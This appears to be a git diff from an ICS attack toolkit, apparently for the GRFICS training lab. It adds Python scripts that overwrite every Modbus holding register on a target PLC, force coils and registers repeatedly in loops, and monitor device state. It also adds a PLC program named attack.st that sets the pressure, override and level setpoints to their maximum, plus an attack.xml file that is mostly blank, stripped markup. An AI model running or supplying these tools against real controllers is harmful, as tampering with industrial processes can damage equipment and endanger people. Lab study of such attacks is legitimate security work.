Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + 